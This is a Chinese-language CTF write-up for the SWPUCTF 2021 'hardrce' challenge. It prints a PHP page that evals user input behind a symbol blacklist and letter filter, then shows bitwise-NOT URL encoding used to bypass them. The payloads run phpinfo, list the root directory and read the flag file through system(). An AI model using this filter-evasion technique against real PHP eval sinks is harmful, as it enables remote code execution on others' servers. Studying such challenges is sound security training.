NSSCTF [SWPUCTF 2021 新生賽]hardrce

karasbai發表於2024-08-15

進入題目介面看見一串程式碼,先進行程式碼審計

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
//對wllm內容進行限制,過濾掉一下的特殊字元
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',]; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $wllm)) { die("LTLT說不能用這些奇奇怪怪的符號哦!"); }} if(preg_match('/[a-zA-Z]/is',$wllm)) //進行正則匹配,過濾掉大小寫字母 { die("Ra's Al Ghul說不能用字母哦!"); } echo "NoVic4說:不錯哦小夥子,可你能拿到flag嗎?"; eval($wllm);//eval執行wllm,說明存在遠端程式碼執行漏洞 } else { echo "蔡總說:注意審題!!!"; } ?>

透過對程式碼的分析,發現都是對與字母等特殊字元的限制,說明正常的繞過手段,雙寫,大小寫,跳脫字元等都不能繞過,因為這些都需要字母,所以這裡可以使用編碼的方式來進行繞過。使用URL取反編碼的方式,將我們需要執行的程式碼進行取反編碼。取反是因為編碼之後還會存在之母,而取反之後編碼的資料將不再作為字母被識別。

取反符號 ' ~ '

<?php
echo urlencode(~'phpinfo');
?>

執行後得到這串資料:%8F%97%8F%96%91%99%90

構造playload·:/?wllm=(~%8F%97%8F%96%91%99%90)();

出現回顯,程式碼執行成功,說明方法可行,下面就是構造需要執行的命令,並進行取反編碼就好了。

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>

成拿到flag啦

相關文章